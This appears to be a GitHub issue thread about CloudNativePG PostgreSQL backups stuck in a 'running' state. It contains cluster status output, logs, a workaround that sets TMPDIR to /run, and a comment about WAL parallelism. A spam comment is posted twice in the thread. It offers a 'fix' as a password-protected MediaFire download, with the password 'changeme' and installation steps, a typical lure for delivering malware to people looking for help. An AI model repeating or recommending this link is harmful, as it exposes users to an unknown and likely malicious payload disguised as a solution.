  Instance Names:
    cnpg-cluster-5
    cnpg-cluster-6
    cnpg-cluster-7
  Instances:  3
  Instances Reported State:
    cnpg-cluster-5:
      Is Primary:    false
      Time Line ID:  128
    cnpg-cluster-6:
      Is Primary:    true
      Time Line ID:  128
    cnpg-cluster-7:
      Is Primary:    false
      Time Line ID:  128
  Instances Status:
    Healthy:
      cnpg-cluster-5
      cnpg-cluster-6
      cnpg-cluster-7
  Latest Generated Node:  7
  Managed Roles Status:
  Phase:  Cluster in healthy state
  Pooler Integrations:
    Pg Bouncer Integration:
      Secrets:
        cnpg-cluster-pooler
  Pvc Count:        6
  Read Service:     cnpg-cluster-r
  Ready Instances:  3
  Secrets Resource Version:
    Application Secret Version:  798831083
    Client Ca Secret Version:    798343139
    Replication Secret Version:  798343141
    Server Ca Secret Version:    798343139
    Server Secret Version:       798466030
    Superuser Secret Version:    798831080
  Switch Replica Cluster Status:
  Target Primary:            cnpg-cluster-6
  Target Primary Timestamp:  2024-08-30T20:35:28.953410Z
  Timeline ID:               128
  Topology:
    Instances:
      cnpg-cluster-5:
      cnpg-cluster-6:
      cnpg-cluster-7:
    Nodes Used:              3
    Successfully Extracted:  true
  Write Service:             cnpg-cluster-rw
Events:                      <none>

Relevant log output
#kubectl -n cnpg-database get backup
NAME                                       AGE     CLUSTER        METHOD              PHASE     ERROR
cnpg-cluster-daily-backup-20240830221000   62m     cnpg-cluster   barmanObjectStore   running

#kubectl -n cnpg-database logs -f pod/cnpg-cluster-7
{"level":"info","ts":"2024-08-30T22:10:00Z","msg":"WAL archiving is working","logging_pod":"cnpg-cluster-7"}
{"level":"info","ts":"2024-08-30T22:10:00Z","msg":"Starting barman-cloud-backup","backupName":"cnpg-cluster-daily-backup-20240830221000","backupNamespace":"cnpg-cluster-daily-backup-20240830221000","logging_pod":"cnpg-cluster-7","options":["--user","postgres","--name","backup-20240830221000","--gzip","--encryption","AES256","--jobs","2","--endpoint-url","https://s3.ca-central-1.amazonaws.com","--cloud-provider","aws-s3","s3://***redacted***/DbBackups/QA/CNPG","cnpg-cluster"]}

#kubectl cnpg -n cnpg-database status cnpg-cluster
Cluster Summary
Name:                cnpg-cluster
Namespace:           cnpg-database
System ID:<PHONE_NUMBER>205636115
PostgreSQL Image:    ghcr.io/cloudnative-pg/postgresql:15.2
Primary instance:    cnpg-cluster-6
Primary start time:  2024-08-30 20:35:33 +0000 UTC (uptime 2h45m32s)
Status:              Cluster in healthy state
Instances:           3
Ready instances:     3
Current Write LSN:   17/17000000 (Timeline: 128 - WAL File:<PHONE_NUMBER>00001700000016)

Certificates Status
Certificate Name          Expiration Date                Days Left Until Expiration
----------------          ---------------                --------------------------
cnpg-cluster-ca           2024-11-23 16:10:47 +0000 UTC  84.70
cnpg-cluster-replication  2024-11-23 16:10:47 +0000 UTC  84.70
cnpg-cluster-server       2024-11-23 22:34:24 +0000 UTC  84.97

Continuous Backup status
First Point of Recoverability:  Not Available
Working WAL archiving:          OK
WALs waiting to be archived:    0
Last Archived WAL:<PHONE_NUMBER>00001700000016   @   2024-08-30T20:45:33.582472Z
Last Failed WAL:                00000080.history           @   2024-08-30T20:35:32.469376Z

Physical backups
No running physical backups found

Streaming Replication status
Replication Slots Enabled
Name            Sent LSN     Write LSN    Flush LSN    Replay LSN   Write Lag  Flush Lag  Replay Lag  State      Sync State  Sync Priority  Replication Slot
----            --------     ---------    ---------    ----------   ---------  ---------  ----------  -----      ----------  -------------  ----------------
cnpg-cluster-5  17/17000000  17/17000000  17/17000000  17/17000000  00:00:00   00:00:00   00:00:00    streaming  async       0              active
cnpg-cluster-7  17/17000000  17/17000000  17/17000000  17/17000000  00:00:00   00:00:00   00:00:00    streaming  async       0              active

Unmanaged Replication Slot Status
No unmanaged replication slots found

Managed roles status
No roles managed

Tablespaces status
No managed tablespaces

Pod Disruption Budgets status
Name                  Role     Expected Pods  Current Healthy  Minimum Desired Healthy  Disruptions Allowed
----                  ----     -------------  ---------------  -----------------------  -------------------
cnpg-cluster          replica  2              2                1                        1
cnpg-cluster-primary  primary  1              1                1                        0

Instances status
Name            Database Size  Current LSN  Replication role  Status  QoS         Manager Version  Node
----            -------------  -----------  ----------------  ------  ---         ---------------  ----
cnpg-cluster-6  47 GB          17/17000000  Primary           OK      BestEffort  1.24.0           ip-172-32-19-6.ca-central-1.compute.internal
cnpg-cluster-5  47 GB          17/17000000  Standby (async)   OK      BestEffort  1.24.0           ip-172-32-9-224.ca-central-1.compute.internal
cnpg-cluster-7  47 GB          17/17000000  Standby (async)   OK      BestEffort  1.24.0           ip-172-32-36-182.ca-central-1.compute.internal

Code of Conduct

[X] I agree to follow this project's Code of Conduct

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

I've stumbled upon the same issue yesterday. The issue was that /tmp, `/var/tmp', '/usr/tmp', and '/' were all part of a read-only filesystem, so could not be written to.
However, the operator does mount an ephemeral volume (emptyDir) to both /run and /controller (in fact, it is the same volume mounted in these 2 locations). scratch-data is indeed an ephemeral volume.
What I ended up doing is setting the TMPDIR environment variable to /run in the postgresql pods, as this is what cpython uses to determine extra tempfile locations (and barman is written in python).
Example:
postgres@postgresql-test-2:/srv/app$ python3
Python 3.11.2 (main, May  2 2024, 11:59:08) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.getenv('TMPDIR')
>>> import tempfile
>>> tempfile.mkdtemp()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.11/tempfile.py", line 512, in mkdtemp
    prefix, suffix, dir, output_type = _sanitize_params(prefix, suffix, dir)
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/tempfile.py", line 265, in _sanitize_params
    dir = gettempdir()
          ^^^^^^^^^^^^
  File "/usr/lib/python3.11/tempfile.py", line 454, in gettempdir
    return _os.fsdecode(_gettempdir())
                        ^^^^^^^^^^^^^
  File "/usr/lib/python3.11/tempfile.py", line 447, in _gettempdir
    tempdir = _get_default_tempdir()
              ^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/tempfile.py", line 362, in _get_default_tempdir
    raise FileNotFoundError(_errno.ENOENT,
FileNotFoundError: [Errno 2] No usable temporary directory found in ['/tmp', '/var/tmp', '/usr/tmp', '/srv/app']
>>>
postgres@postgresql-test-2:/srv/app$ export TMPDIR=/run
postgres@postgresql-test-2:/srv/app$ python3
Python 3.11.2 (main, May  2 2024, 11:59:08) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import tempfile
>>> tempfile.mkdtemp()
'/run/tmpvn9860lm'

I hope this helps!
Note: I've had to modify the custom chart I use to provision a cloudnative-pg cluster, but ClusterSpec  does support an env member, of the same structure as the regular container.spec:
env:
- name: "TMPDIR"
  value: "/run"

Thanks for the suggestion.
It turn out that in my case the backups just magically started working again after a few days, so I no longer have a reproducible situation, but if it happens again, I'll keep this mind.

I've the same situation here:
I was using cloudnative pg 1.22 and the backups were working fine but after I upgrade to 1.24 my backups stuck in running state and no base directory is created in my object storage but when I look into my hosts processes I see barman-cloud-backup command which is running
cnpg-cloudnative-pg-7fcc5f7865-cb2sq manager {"level":"info","ts":"2024-09-14T11:41:05+03:30","logger":"backup-resource","msg":"default","version":"v1","name":"traccar-sample-backuo","namespace":"database"}
cnpg-cloudnative-pg-7fcc5f7865-cb2sq manager {"level":"info","ts":"2024-09-14T11:41:05+03:30","logger":"backup-resource","msg":"validate create","version":"v1","name":"traccar-sample-backuo","namespace":"database"}
cnpg-cloudnative-pg-7fcc5f7865-cb2sq manager {"level":"info","ts":"2024-09-14T11:41:05+03:30","msg":"Starting backup","controller":"backup","controllerGroup":"postgresql.cnpg.io","controllerKind":"Backup","Backup":{"name":"traccar-sample-backuo","namespace":"database"},"namespace":"database","name":"traccar-sample-backuo","reconcileID":"ce52ec85-c49e-4522-ab58-8b59975ab1eb","cluster":"traccar-db","pod":"traccar-db-4"}
cnpg-cloudnative-pg-7fcc5f7865-cb2sq manager {"level":"info","ts":"2024-09-14T11:41:06+03:30","msg":"Backup is already running on","controller":"backup","controllerGroup":"postgresql.cnpg.io","controllerKind":"Backup","Backup":{"name":"traccar-sample-backuo","namespace":"database"},"namespace":"database","name":"traccar-sample-backuo","reconcileID":"70f7204b-0f48-4ca8-a279-00b2d1bd88df","cluster":"traccar-db","pod":"traccar-db-4","started at":"<nil>"}
cnpg-cloudnative-pg-7fcc5f7865-cb2sq manager {"level":"info","ts":"2024-09-14T13:01:06+03:30","msg":"Backup is already running on","controller":"backup","controllerGroup":"postgresql.cnpg.io","controllerKind":"Backup","Backup":{"name":"traccar-sample-backuo","namespace":"database"},"namespace":"database","name":"traccar-sample-backuo","reconcileID":"9ec26ecd-be95-47ff-a42d-bb27be6d093f","cluster":"traccar-db","pod":"traccar-db-4","started at":"<nil>"}

On the other side when I get statun with cnpg plugin it say no running physical backups existed
NAME                    AGE     CLUSTER      METHOD              PHASE     ERROR
traccar-sample-backuo   5h40m   traccar-db   barmanObjectStore   running

Status:              Cluster in healthy state
Instances:           3
Ready instances:     3
Current Write LSN:   9F2/74845CB0 (Timeline: 13 - WAL File: 0000000D000009F200000074)

Certificates Status
Certificate Name        Expiration Date                Days Left Until Expiration
----------------        ---------------                --------------------------
traccar-db-ca           2024-12-03 15:09:40 +0000 UTC  80.05
traccar-db-replication  2024-12-03 15:09:40 +0000 UTC  80.05
traccar-db-server       2024-12-09 10:39:35 +0000 UTC  85.87

Continuous Backup status
First Point of Recoverability:  Not Available
Working WAL archiving:          OK
WALs waiting to be archived:    33
Last Archived WAL:              0000000D000009F200000052   @   2024-09-14T17:22:57.587133+03:30
Last Failed WAL:                0000000D000009C70000003D   @   2024-09-12T19:24:24.957536+03:30

Physical backups
No running physical backups found

To speed up the WAL backup, you can increase the maxParallel parameter on WalBackupConfiguration. By default, WAL files are processed one at a time (i.e., one per minute).
https://cloudnative-pg.io/documentation/current/cloudnative-pg.v1/#postgresql-cnpg-io-v1-WalBackupConfiguration